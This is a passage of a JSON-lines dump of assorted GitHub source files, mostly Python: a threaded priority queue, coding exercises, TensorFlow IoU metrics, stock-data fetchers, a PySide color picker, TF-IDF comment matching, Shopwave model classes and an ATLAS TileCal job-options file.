uuid import uuid1\nfrom multiprocessing.dummy import Pool as ThreadPool, Condition\n\n\nclass MaxPriorityQueue(object):\n \"\"\"自定义一个最大优先队列\"\"\"\n\n def __init__(self):\n self.__h_list = []\n self.__con = Condition() # 条件变量\n self.__index = 0 # 索引\n\n def put(self, value, sort=0):\n with self.__con:\n # heapq是最小二叉堆,优先级取负就是最大二叉堆了\n heapq.heappush(self.__h_list, (-sort, self.__index, value))\n self.__index += 1\n self.__con.notify() # 随机通知一个阻塞等的线程\n\n def get(self):\n with self.__con:\n while 1:\n # 0 => False\n if not self.qsize():\n self.__con.wait() # 列表为空则阻塞等\n return heapq.heappop(self.__h_list)[-1] # 返回元组最后一个元素(value)\n\n def qsize(self):\n return len(self.__h_list)\n\n\nstop_obj = uuid1() # 获取UUID(GUID)\n\n\ndef task_put(queue):\n queue.put(\"小周\", 5)\n queue.put(\"小潘\", 7)\n queue.put(\"小明\", 3)\n queue.put(\"小张\", 9)\n global stop_obj\n queue.put(stop_obj)\n\n\ndef task_get(queue):\n global stop_obj\n # 全部读出来\n while 1:\n data = queue.get()\n if data == stop_obj:\n print(\"光荣退伍了\")\n queue.put(stop_obj) # 保证其他消费者也能安全退出\n break\n print(data)\n\n\nif __name__ == '__main__':\n queue = MaxPriorityQueue()\n pool = ThreadPool()\n pool.apply_async(task_get, args=(queue,))\n pool.apply_async(task_put, args=(queue,))\n pool.close()\n pool.join()\n","repo_name":"lotapp/BaseCode","sub_path":"python/5.concurrent/Thread/2.lock_queue/3.queue/3.PriorityQueue.py","file_name":"3.PriorityQueue.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"6757144397","text":"#Dicionário: Crie um dicionário para armazenar o nome e a nota de 3 alunos,\n#fazendo a leitura dos valores por meio de uma estrutura de repetição.\n#Depois, crie uma nova estrutura de repetição para somar todas as notas e retornar a média\n\ndic = {}\ni = 0\nx = 0\nb = 0\n\nwhile i < 3:\n name = str(input(\"Digite o nome: \"))\n score = int(input(\"digite a nota: \"))\n dic[name] = score\n i += 1\n\n #Calc\n b = dic[name] + b\n\nprint(\"Dicionario: \", dic)\n\nresult = b / 3\nprint(\"Media das notas: \", result)\n\n","repo_name":"wagnerbizarro/python_udemy","sub_path":"2-basico/20-exercicio_dicionario.py","file_name":"20-exercicio_dicionario.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20382866022","text":"from itertools import combinations, islice\nfrom os import listdir\nfrom os.path import isfile, join\nimport time\nimport cPickle\n\nfrom levenshtein.utils.stringer import random_string as r\nfrom levenshtein.utils.misc import nCr\nfrom levenshtein.compression import Compressor, CRCCompression\n\n\ndef read(fname):\n with open(fname) as f:\n data = f.read().replace('\\n', '')\n\n return data\n\n\ndef read_files(directory, length, num):\n files = [join(directory, f)\n for f in listdir(directory) if isfile(join(directory, f))]\n\n # make sure there are enough text chunks to make num combinations\n # of them.\n txt = \"\"\n count = 0\n for f in files:\n print(\"reading %s...\" % (f))\n txt += read(f)\n num_chunks = len(txt) / length\n count = count + 1\n if num < nCr(num_chunks, 2):\n break\n\n print(\"Read %s/%s files in '%s'\" % (count, len(files), directory))\n\n chunks = [txt[x:x + length] for x in range(0, len(txt), length)]\n\n print(\"Calculating distance average of %s measurements of text \" +\n \"strings length %s...\") % (num, length)\n\n return list(islice(combinations(chunks, 2), 0, num))\n\n\ndef average(samples):\n return sum([distance(str1, str2) for str1, str2 in samples]) / len(samples)\n\n\ndef average_file(directory, length, num):\n sources = read_files(directory, length, num)\n\n dists = []\n count = 0\n for x, y in sources:\n count = count + 1\n print(\"Progress: %s/%s\" % (count, len(sources)))\n dists.append(distance(x, y))\n\n return sum(dists) / float(len(sources)) / float(length)\n\n\ndef average_random(length, num):\n s = 0\n count = 0\n start = time.clock()\n for i in xrange(num):\n count += 1\n print(\"Progress: %s/%s\" % (count, num))\n s += (r(length), r(length))\n\n print(\"Time to compute: %s\" % (time.clock() - start))\n\n return s / float(num)\n\n\ndef average_sig_file(directory, length, num, c, n1, n2, compressor=None):\n if compressor is None:\n compressor = Compressor(compression=CRCCompression(), N=10)\n sources = read_files(directory, length, num)\n\n count = 0\n res = []\n for n in xrange(n1, n2):\n dists = []\n compressor.setN(n)\n count = count + 1\n print(\"Progress: %s/%s\" % (count, (n2 - n1)))\n for (x, y) in sources:\n sigx = compressor.compress(x)\n sigy = compressor.compress(y)\n if len(sigx) + len(sigy) != 0:\n dists.append(distance(sigx, sigy) /\n ((len(sigx) + len(sigy)) / 2.0))\n\n res.append((sum(dists) / float(len(sources)), n, c))\n\n cPickle.dump(res, open(join(directory, \"avg_sig_distance\") + '.p', 'wb'))\n\n return res\n","repo_name":"dwcoates/leven-squash","sub_path":"demo/sampling.py","file_name":"sampling.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"10873855781","text":"import numpy as np\n\n\nclass Space:\n def __init__(self, denomination, capacity):\n self.id = np.random.randint(low=1e8, high=9.9e8)\n self.denomination = denomination\n self.capacity = capacity\n self.agents_id_list = []\n self.agents_count = 0\n\n def add_agent(self, agent):\n if self.agents_count < self.capacity:\n self.agents_id_list.append(agent.id)\n agent.spaces_id[self.denomination] = self.id\n self.agents_count = len(self.agents_id_list)\n return True\n return False\n\n def __repr__(self):\n return f\"Space-> denomination: {self.denomination} | \" \\\n + f\"capacity: {self.capacity} | \" \\\n + f\"agents_count: {self.agents_count}\"\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"HelbertAguiar/simulador_estocastico_agente_epidemiologico","sub_path":"simulation/space.py","file_name":"space.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72565045314","text":"'''\n\nDescription:\n\nGiven an array of strings, group anagrams together.\n\nExample:\n\nInput: [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"],\nOutput:\n[\n [\"ate\",\"eat\",\"tea\"],\n [\"nat\",\"tan\"],\n [\"bat\"]\n]\nNote:\n\nAll inputs will be in lowercase.\nThe order of your output does not matter.\n\n'''\n\n\nfrom typing import List\nfrom collections import defaultdict\n\nclass Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n \n anagrams_dict = defaultdict( list )\n \n for s in strs:\n \n anagrams_dict[ ''.join( sorted(s) ) ].append( s )\n \n return [ anagrams_dict[key] for key in anagrams_dict ]\n\n\n\n# n : the length of input list, strs.\n# k : the average character length of word\n\n## Time Complexity: O( n k log k )\n#\n# The overhead in time is the cost of is the loop of O ( n ), and the cost of sorting of O( k log k )\n# It takes O( n k log k ) in total.\n\n## Space Complexity: O( n * k)\n#\n# The overhead in space is the storage for dictionary, which is of O( n * k )\n\n\nfrom collections import namedtuple\nTestEntry = namedtuple('TestEntry', 'list_of_string')\ndef test_bench():\n\n test_data = [\n TestEntry( list_of_string = [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"] ),\n ]\n\n for t in test_data:\n\n print( Solution().groupAnagrams( t.list_of_string) )\n \n return\n\n\n\nif __name__ == '__main__':\n\n test_bench() \n\n\n","repo_name":"brianchiang-tw/leetcode","sub_path":"2020_April_Leetcode_30_days_challenge/Week_1_Group Anagram/by_sort_and_dict.py","file_name":"by_sort_and_dict.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"25576451585","text":"import tensorflow as tf \n\n\nclass BBoxIoU(tf.keras.metrics.Metric):\n \"\"\"BBoxIoU\n Mean Bounding Box IoU\n \"\"\"\n def __init__(self, name='BBoxIoU', **kwargs):\n super(BBoxIoU, self).__init__(name=name, **kwargs)\n # sum of each samples' IoU\n self.iou = self.add_weight(name='iou', initializer='zeros')\n # sample count\n self.count = self.add_weight(name='count', initializer='zeros')\n \n\n def update_state(self, y_true, y_pred, sample_weight=None):\n \"\"\"update_state\n Args:\n y_true, y_pred (array): [BATCHSIZE*[x, y, w, h]]\n \"\"\"\n batch_size = tf.cast(tf.shape(y_true)[0], tf.float32)\n\n true_area = y_true[:,2] * y_true[:,3]\n \n pred_area = y_pred[:,2] * y_pred[:,3]\n\n inter_x1 = tf.maximum(y_true[:,0], y_pred[:,0])\n inter_y1 = tf.maximum(y_true[:,1], y_pred[:,1])\n\n inter_x2 = tf.minimum(y_true[:,0]+y_true[:,2], y_pred[:,0]+y_pred[:,2])\n inter_y2 = tf.minimum(y_true[:,1]+y_true[:,3], y_pred[:,1]+y_pred[:,3])\n\n # using tf.maximum(0., *) to avoid negative area value\n inter_area = tf.maximum(0., (inter_x2-inter_x1)) * tf.maximum(0., (inter_y2-inter_y1))\n union_area = true_area + pred_area - inter_area\n\n # update the sum of IoU & count\n self.iou.assign_add(tf.math.reduce_sum(tf.math.divide_no_nan(inter_area, union_area)))\n self.count.assign_add(batch_size)\n\n\n def result(self):\n \"\"\"result\n Returns:\n mean_iou (float): Mean IoU\n \"\"\"\n # mean IoU\n return tf.math.divide_no_nan(self.iou, self.count)\n \n\nclass BinaryIoU(tf.keras.metrics.Metric):\n \"\"\"BinaryIoU\n Binary IoU\n \"\"\"\n def __init__(self, name='BinaryIoU', **kwargs):\n super(BinaryIoU, self).__init__(name=name, **kwargs)\n # sum of each samples' IoU\n self.iou = self.add_weight(name='iou', initializer='zeros')\n # sample count\n self.count = self.add_weight(name='count', initializer='zeros')\n \n\n def update_state(self, y_true, y_pred, sample_weight=None):\n \"\"\"update_state\n Args:\n y_true, y_pred (array): [BATCHSIZE*[b1, b2, ..., bn]]\n \"\"\"\n batch_size = tf.cast(tf.shape(y_true)[0], tf.float32)\n y1 = tf.cast(tf.math.greater(y_true, 0.5), tf.float32)\n y2 = tf.cast(tf.math.greater(y_pred, 0.5), tf.float32)\n\n true_area = tf.math.reduce_sum(y1)\n pred_area = tf.math.reduce_sum(y2)\n\n inter_area = tf.math.reduce_sum(y1*y2)\n union_area = true_area + pred_area - inter_area\n\n self.count.assign_add(batch_size)\n self.iou.assign_add(tf.math.reduce_sum(tf.math.divide_no_nan(inter_area, union_area)))\n\n\n def result(self):\n \"\"\"result\n Returns:\n mean_iou (float): Mean IoU\n \"\"\"\n # mean IoU\n return tf.math.divide_no_nan(self.iou, self.count)","repo_name":"yuanmu97/MLink","sub_path":"mlink/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"12929499980","text":"import asyncio\nimport aiofiles\nimport aiohttp\nimport requests\nimport pandas as pd\nimport io\nfrom datetime import date\nimport json\n\n# get all liquid stocks: vol>4M\n\n\ndef fetch_liquid_stocks(vol=4_000_000, *, min_price=5, avg_vol=None):\n avg = f'&min_avgvol={int(avg_vol / 1000)}' if avg_vol else ''\n URL_AJAX = f\"https://www.stock-watcher.com/screener/default/result/ajax?&min_price={min_price}&min_curvol={vol}{avg}&geo=USA&Exchange=1,2&etf=2&row=10000&order=chp&asc=1&page=1&trow=fortickers&CSRF_TOKEN=4ceb139282afc1ca5ec1947900af56df85d86952&_=1589233508250\"\n res = requests.get(URL_AJAX)\n\n if res.status_code == 200:\n return res.json()['records']['ticker']\n\n\ndef create_traidingview_watchlist(symbols, filename):\n if not symbols:\n raise ValueError(\"Ticker's list is empty\")\n\n with open(filename, 'w') as f:\n f.write(','.join(symbols))\n\n\nasync def fetch_historical_data_alhavantage(symbol, api, session, save_to_file=False):\n URL = f\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={symbol}×eries=5&apikey={api}&datatype=csv\"\n async with session.get(URL, allow_redirects=True) as response:\n data = await response.read()\n filename = f\"data/{symbol}_{str(date.today())}.csv\"\n if save_to_file:\n async with aiofiles.open(filename, mode='wb') as f:\n await f.write(data)\n\n df = pd.read_csv(io.BytesIO(data), encoding='utf8', sep=',')\n df.rename(columns={'timestamp': 'date'})\n return df\n # df = pd.read_csv(URL)\n\n # if df.iloc[:, 0].str.contains('\"Error Message\"').sum():\n # print(\"Symbol: {} \\n{}\".format(symbol, df.iloc[0, 0]))\n # return pd.DataFrame()\n\n # if df.iloc[:, 0].str.contains('\"Note\"').sum():\n # print(\"Symbol: {} \\n{}\".format(symbol, df.iloc[0, 0]))\n # return pd.DataFrame()\n\n # return df.iloc[::-1].round(2)\n\n\nasync def fetch_historical_data_financialmodelingprep(symbol, api, session, save_to_file=False):\n # Returns json object\n URL = f\"https://financialmodelingprep.com/api/v3/historical-price-full/{symbol}?apikey={api}\"\n async with session.get(URL, allow_redirects=True) as response:\n data = await response.json()\n filename = f\"data/{symbol}_{str(date.today())}.csv\"\n df = pd.DataFrame(data['historical'])\n df.rename(columns={'timestamp': 'date'})\n df =df[['date','open', 'high', 'low', 'close']]\n if save_to_file:\n async with aiofiles.open(filename, mode='wb') as f:\n await f.write(df.to_csv(index=False).encode('utf-8'))\n return df\n\n \ndef get_ignored_symbols(default_file='ignored'):\n with open(default_file) as f:\n return [l.strip() for l in f.readlines()]","repo_name":"isvystun/StocksPatternsAndPrediction","sub_path":"stock_utils.py","file_name":"stock_utils.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"1534366895","text":"'''\ngetMetalResults.py\n Get the spreadsheets for the metal datasets.\n\nUsage: python3 getMetalResults.py <withinFilePath> <beyondFilePath> <datasetName>\n\nParameters:\n <withinFilePath> - file path to text file of within dataset\n <beyondFilePath> - file path to text file of beyond dataset\n <datasetName> - name of the dataset being run on (e.g. \"first\")\n\nExample 1: python3 metalAnalysis/code/getMetalResults.py metalAnalysis/results/firstWithin.txt metalAnalysis/results/firstBeyond.txt first\n\nExample 2: python3 metalAnalysis/code/getMetalResults.py metalAnalysis/results/secondWithin.txt metalAnalysis/results/secondBeyond.txt second\n\nExample 3: python3 metalAnalysis/code/getMetalResults.py metalAnalysis/results/thirdWithin.txt metalAnalysis/results/thirdBeyond.txt third\n\n Run all three example commands in LigandDensityAnalysis.\n'''\n\n\nimport sys\nimport xlsxwriter\n\n\ndef main(withinFilePath: str, beyondFilePath: str, datasetName: str) -> None:\n '''\n :param withinFilePath: path to text file containing within dataset\n :param beyondFilePath: path to text file containing beyond dataset\n :param datasetName: name of the dataset to be collected (e.g. \"first\")\n '''\n with open(withinFilePath, 'r') as withinFile, \\\n open(beyondFilePath, 'r') as beyondFile:\n\n # NOTE: These are lists of lists.\n withinList = [line.rstrip('\\n').split(',') for line in withinFile]\n beyondList = [line.rstrip('\\n').split(',') for line in beyondFile]\n \n writeData(withinList, datasetName+'Within')\n writeData(beyondList, datasetName+'Beyond')\n\n print('Finished running!')\n\n\ndef writeData(dataList: list, outFileName: str) -> None:\n '''\n Write the data stored in dataList into a spreadsheet with the name outFileName.\n\n :param dataList: list of the desired data to be written\n :param outFileName: name of the spreadsheet to be made\n '''\n outFilePath = 'metalAnalysis/results/' + outFileName + '.xlsx'\n with xlsxwriter.Workbook(outFilePath) as workbook:\n worksheet = workbook.add_worksheet()\n worksheet.write(0,0,'PDB ID')\n worksheet.write(0,1,'Absolute Significant Observed Discrepancy')\n worksheet.write(0,2,'Significant Observed Discrepancy')\n worksheet.write(0,3,'Minimum Metal Distance')\n\n currRow = 1\n for [pdbID, absDiscrep, nonabsDiscrep, metalDist] in dataList:\n worksheet.write(currRow,0,pdbID)\n worksheet.write(currRow,1,float(absDiscrep))\n worksheet.write(currRow,2,float(nonabsDiscrep))\n worksheet.write(currRow,3,float(metalDist))\n currRow += 1\n assert(len(dataList) == (currRow-1))\n\n\nif __name__ == '__main__':\n _, withinFilePath, beyondFilePath, datasetName = sys.argv\n main(withinFilePath, beyondFilePath, datasetName)\n","repo_name":"alanyluo/LigandDensityAnalysisIntern","sub_path":"MetalAnalysis/Code/getMetalResults.py","file_name":"getMetalResults.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13338062560","text":"import asyncio\nfrom aiofile import AIOFile, LineReader\nfrom src.util.util import DataUtil, PathUtil\nfrom .data_service import DBHandler\n\n\nclass Sync:\n\n @staticmethod\n async def sync_substation(substation_path):\n async with AIOFile(substation_path, 'r') as file:\n async for line in LineReader(file):\n if not DataUtil.is_header(line):\n equipment, measurement = DataUtil.get_objects(line)\n equipment = await DBHandler.get_instance().save(equipment)\n measurement.set_equipment_id(equipment.id)\n await DBHandler.get_instance().save(measurement)\n\n @staticmethod\n async def import_data_as_tasks(data_path):\n path_list = PathUtil.get_files_from_dir(data_path)\n await asyncio.gather(*[Sync.sync_substation(file) for file in path_list])\n","repo_name":"natamelo/demo-project-asyncio","sub_path":"src/service/sync_service.py","file_name":"sync_service.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23425277541","text":"from math import ceil, floor\n\ndef time(n, c, f):\n t = 0;\n for a in xrange(n):\n t += c/(2+a*f)\n return t\n\n\ndef calculate(c, f, x, case):\n smallest = x/2\n if floor(x/c - 2/f) < 0:\n s = 0;\n else:\n s = int(floor(x/c - 2/f))\n for n in xrange(s,int(ceil(x/c - 2/f)) + 50):\n k = time(n, c, f) + x/(2+n*f)\n if k < smallest:\n smallest = k\n with open(\"output\", \"a\") as myOutput:\n myOutput.write(\"Case #{}: {}\\n\".format(case,smallest))\n \n\ndef main():\n params = list()\n with open(\"input\", \"r\") as myInput:\n p = int(myInput.readline())\n for a in xrange(p):\n params = myInput.readline().strip('\\n').split(' ')\n c = float(params[0])\n f = float(params[1])\n x = float(params[2])\n calculate(c,f,x, a + 1)\n\nmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/2568.py","file_name":"2568.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29651155991","text":"import sys\n\ndef find_min(arr):\n if arr is None:\n print('fatal error: input array should not be none', file=sys.stderr)\n return\n \n if not arr:\n return None\n\n min_num = arr[0]\n \n for num in arr:\n if num < min_num:\n min_num = num\n \n return min_num\n\ndef helper():\n print('find_min(arr): function to find minimum number in array')","repo_name":"COSC381-2020Fall/class-project-a-xia","sub_path":"test code/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"410966279","text":"# mysite/routing.py\nfrom channels.auth import AuthMiddlewareStack\nfrom channels.routing import ProtocolTypeRouter, URLRouter\nimport user.routing\n\n# Định tuyến hướng websocket tới các app trong project\napplication = ProtocolTypeRouter({\n # (http->django views is added by default)\n 'websocket': AuthMiddlewareStack(\n URLRouter(\n user.routing.websocket_urlpatterns,\n )\n ),\n})\n","repo_name":"vuvandang1995/MTK_ver2","sub_path":"osticket/osticket/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27046603833","text":"from PySide6.QtWidgets import *\r\nfrom PySide6.QtUiTools import *\r\nfrom PySide6.QtCore import *\r\n\r\nclass MainWindow(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n \r\n loader = QUiLoader()\r\n self.ui = loader.load(\"5_color_picker/form.ui\", None)\r\n \r\n self.ui.show()\r\n\r\n self.ui.red_horizontalSlider.valueChanged.connect(self.action)\r\n self.ui.green_horizontalSlider.valueChanged.connect(self.action)\r\n self.ui.blue_horizontalSlider.valueChanged.connect(self.action)\r\n \r\n def action(self):\r\n b = str(self.ui.blue_horizontalSlider.value())\r\n self.ui.blue_value.setText(b)\r\n \r\n g = str(self.ui.green_horizontalSlider.value())\r\n self.ui.green_value.setText(g)\r\n \r\n r = str(self.ui.red_horizontalSlider.value())\r\n self.ui.red_value.setText(r)\r\n \r\n # sum = int(r) + int(g) + int(b)\r\n # if sum > 372:\r\n # self.ui.final_color.setStyleSheet('color: rgb(120, 120, 120);')\r\n # else:\r\n # self.ui.final_color.setStyleSheet('color: rgb(255, 255, 255);')\r\n\r\n self.ui.final_color.setStyleSheet(f'background-color: rgb({r}, {g}, {b});')\r\n self.ui.final_color.setText(f'rgb({r}, {g}, {b})')\r\n\r\n\r\napp = QApplication([])\r\nwindow = MainWindow()\r\napp.exec()","repo_name":"AliYqb/AliYqb-PyLearn-SajjadAemmi","sub_path":"Assignment29/5_color_picker/color_picker.py","file_name":"color_picker.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"41491113108","text":"import nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom collections import Counter\nimport numpy as np\nimport math\n\ndef _calculate_document_frequency(comments):\n DF = {}\n for comment in comments:\n for word in comment:\n if word in DF:\n DF[word] += 1\n else:\n DF[word] = 1\n return DF\n\ndef _in_doc_freq(word, doc_freq):\n if word in doc_freq:\n return doc_freq[word]\n else:\n return 0\n\ndef _preprocessing(comments):\n new_comments = []\n tokenizer = nltk.RegexpTokenizer(r\"\\w+\")\n stemmer = PorterStemmer()\n stop_words = stopwords.words('english')\n for comment in comments:\n new_comments.append([stemmer.stem(word.lower()) for word in tokenizer.tokenize(comment.text) if word not in stop_words and len(word) != 1])\n return new_comments\n\ndef _calculate_tf_idf(candidates, doc_freq, N, word_count):\n tf_idf = {}\n for i,candidate in enumerate(candidates):\n counter = Counter(candidate)\n for token in np.unique(candidate):\n tf = counter[token]/word_count\n df = _in_doc_freq(token, doc_freq)\n idf = np.log(N/(df+1))\n tf_idf[i, token] = tf*idf\n return tf_idf\n\ndef _cosine_sim(a, b):\n cos_sim = np.dot(a, b)/(np.linalg.norm(a)*np.linalg.norm(b))\n return cos_sim\n\ndef _gen_vector(tokens, total_vocab, doc_freq, N):\n Q = np.zeros((len(total_vocab)))\n counter = Counter(tokens)\n words_count = len(tokens)\n for token in np.unique(tokens):\n tf = counter[token]/words_count\n df = _in_doc_freq(token, doc_freq)\n idf = math.log((N+1)/(df+1))\n try:\n ind = total_vocab.index(token)\n Q[ind] = tf*idf\n except:\n pass\n return Q\n\ndef _cosine_similarity(query, D, total_vocab, doc_freq, N):\n tokens = _preprocessing([query])[0]\n d_cosines = []\n query_vector = _gen_vector(tokens, total_vocab, doc_freq, N)\n for d in D:\n d_cosines.append((d[0], _cosine_sim(query_vector, d)))\n return d_cosines\n\ndef _tf_idf_automatic_algorithm(reply, candidates):\n clean_candidates = _preprocessing(candidates)\n doc_freq = _calculate_document_frequency(clean_candidates)\n total_vocab = [x for x in doc_freq.keys()]\n word_count = len(total_vocab)\n N = len(clean_candidates)\n tf_idf = _calculate_tf_idf(clean_candidates, doc_freq, N, word_count)\n D = np.zeros((N, word_count))\n for i in tf_idf:\n ind = total_vocab.index(i[1])\n D[i[0]][ind] = tf_idf[i]\n similarities = _cosine_similarity(reply, D, total_vocab, doc_freq, N)\n return candidates[similarities.index(max(similarities))].id","repo_name":"quimpm/youtube_discussion_tree","sub_path":"youtube_discussion_tree_api/_conflicts.py","file_name":"_conflicts.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"6587496924","text":"#! -*- coding: utf-8 -*-\n\nimport six\nimport json\nfrom shopwave import fields\n\nclass ModelMetaData:\n \"\"\"\n Holds meta information for each Model instance, saved as '_meta' attribute\n of that instance.\n \"\"\"\n def __init__(self, model_name=None, fields=[]):\n self._fields = {}\n self._alias = {}\n self._primary_field = None\n self.model_name = model_name\n for f in fields: \n self.add_field(f)\n\n def get_field_names(self):\n \"\"\" Get list of all field names and aliases\n \"\"\"\n names = set()\n names.update(list(self._fields.keys())) \n names.update(list(self._alias.keys()))\n names.update(['id'])\n return names\n\n def get_fields(self):\n \"\"\" Get list of all fields.\n \"\"\"\n return list(self._fields.values())\n\n def get_field(self, key):\n \"\"\" Get field with attrname or an alias matching key.\n \"\"\"\n if key == 'id':\n return self.get_primary_field()\n elif key in self._fields:\n return self._fields[key]\n elif key in self._alias:\n return self._fields[self._alias[key]]\n raise KeyError(\"No field with '%s' as name or alias can be found.\" % key)\n\n def get_primary_field(self):\n return self._primary_field\n\n def add_field(self, field):\n if field.attrname == 'id':\n field._primary_key = True\n\n if field._primary_key:\n if self._primary_field is not None:\n raise ValueError('Only one field can be primary key in '+\\\n 'model %s.' % (model_name))\n else:\n self._primary_field = field\n\n for alias_name in field.alias:\n self._alias[alias_name] = field.attrname\n\n self._fields[field.attrname] = field\n\n def set_model(self, model):\n self.model = model\n for field in self.get_fields():\n field.set_model(model)\n\n\nclass ModelBase(type):\n \"\"\"\n Metaclass for Model.\n \"\"\"\n def __new__(cls, name, bases, attrs):\n meta = ModelMetaData(model_name=name)\n new_attrs = dict()\n for k, v in attrs.items():\n # Setting default values for all specified fields in model that are\n # not set to blank.\n if hasattr(v, '_is_basefield'): \n if not v.blank: new_attrs[k] = v.default()\n v.attrname = k\n meta.add_field(v)\n else:\n new_attrs[k] = v\n new_attrs['_meta'] = meta\n return super().__new__(cls, name, bases, new_attrs)\n\n def _validate(self):\n return True\n\n\nclass Model(metaclass=ModelBase):\n def __init__(self, **kwargs):\n \"\"\"\n If json and kwargs are specified, json value will take precedence.\n\n Primary key will correspond to object Shopwave id. Only one field can be\n designated as primary key and has to correspond to the Shopwave primary\n key. If a field named 'id' is added, that field will be automatically\n designated as primary key.\n\n Parameters\n ----------\n json : string, JSON, optional\n JSON data as returned from shopwave API\n data : dict, optional \n Same as json, but converted to python dict.\n \"\"\"\n super().__init__()\n self._meta.set_model(self)\n if 'json' in kwargs:\n # Create instance from json.\n construct_from_json = True\n json_data = kwargs.pop('json')\n kwargs.update(json.loads(json_data))\n\n if 'data' in kwargs:\n data = kwargs.pop('data')\n kwargs.update(data)\n\n for name in self._meta.get_field_names():\n value = kwargs.pop(name, None)\n if value is not None: setattr(self, name, value)\n\n # >>>\n \"\"\"\n for f in self._meta.get_fields():\n attrname = f.attrname\n\n value = kwargs.pop(attrname, None)\n if value is not None:\n setattr(self, attrname, value)\n \"\"\"\n # <<<\n\n if kwargs:\n raise TypeError(\n 'Instantiating %s: %s is an invalid keyword argument for this function.' \n % (self.__class__, list(kwargs)[0])\n )\n\n # Check attribute names and fields alt_names for fields to use as\n # representative values for each instance of Model.\n self._meta._name_attr = ''\n for name_attr in ['name', 'title', 'details']:\n if hasattr(self, name_attr): \n self._meta._name_attr = name_attr\n break\n for field in self._meta.get_fields():\n if field.alt_name and field.alt_name.lower() == name_attr:\n self._meta._name_attr = field.attrname\n break\n\n def __setattr__(self, k, v):\n field = self._meta.get_field(k)\n attrname = field.attrname\n parsed_value = field.parse_value(v)\n super().__setattr__(attrname, parsed_value)\n\n def __repr__(self):\n u = getattr(self, self._meta._name_attr, self.__class__.__name__)\n return str('<%s: %s>' % (self.__class__.__name__, u))\n\n def __str__(self):\n if six.PY2 and hasattr(self, '__unicode__'):\n return str(self).encode('utf-8')\n return str('%s object' % self.__class__.__name__)\n\n def _from_json(self, json_data):\n data = json.loads(json_data) \n fields = self._meta.get_fields()\n for f in fields:\n data.pop(f.attrname, f.default())\n\n if data:\n raise TypeError(\n '%s is an invalid json key for this function.' \n % list(data)[0]\n )\n\n\n","repo_name":"quedah/ShopwaveConnect-Python","sub_path":"shopwave/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71105759873","text":"#==============================================================\n#\n# Job options file to produce ROOT file with electronic noise\n#\n# Full ATLAS setup, TileCal only digitization\n#\n#==============================================================\n\nfrom AthenaCommon.AppMgr import theApp\nsvcMgr = theApp.serviceMgr()\n\nfrom AthenaCommon.Logging import logging\nlogDigitization_flags = logging.getLogger( 'Tile_Digitization' )\n\n#--- Output printout level -----------------------------------\n#output threshold (1=VERBOSE, 2=DEBUG, 3=INFO, 4=WARNING, 5=ERROR, 6=FATAL)\nif not 'OutputLevel' in dir():\n OutputLevel = 4\nsvcMgr.MessageSvc.OutputLevel = OutputLevel\nsvcMgr.MessageSvc.defaultLimit = 1000000\nsvcMgr.MessageSvc.Format = \"% F%60W%S%7W%R%T %0W%M\"\nsvcMgr.MessageSvc.useColors = False\n\n# get a handle on topalg\nfrom AthenaCommon.AlgSequence import AlgSequence\ntopSequence = AlgSequence()\n\n#--------------------------------------------------------------\n# configuration flags\n#--------------------------------------------------------------\n\n# - Number of events to be processed\nif not 'EvtMax' in dir():\n EvtMax = 100000\n\n# location of sqlite files, input pool files and output root files\nSqliteDirectoryCesium=\".\"\nSqliteDirectoryNoise=\".\"\nSqliteDirectoryBch=\".\"\nInputDirectory=\".\"\nOutputDirectory=\".\"\n\n# name of sqlite files with new sample noise and new bad channel list\nif not 'DBFileBch' in dir():\n DBFileBch=\"\"\nif not 'DBFileNoise' in dir():\n DBFileNoise=\"\"\nif not 'DBFileCesium' in dir():\n DBFileCesium=\"\"\nif not 'BchTag' in dir():\n BchTag=\"\"\nif not 'NoiseTag' in dir():\n NoiseTag=\"\"\nif not 'CesiumTag' in dir():\n CesiumTag=\"\"\nif not 'RunNumber' in dir():\n RunNumber = 410000\n\n# Version number which is appended to output file name\nif not 'Version' 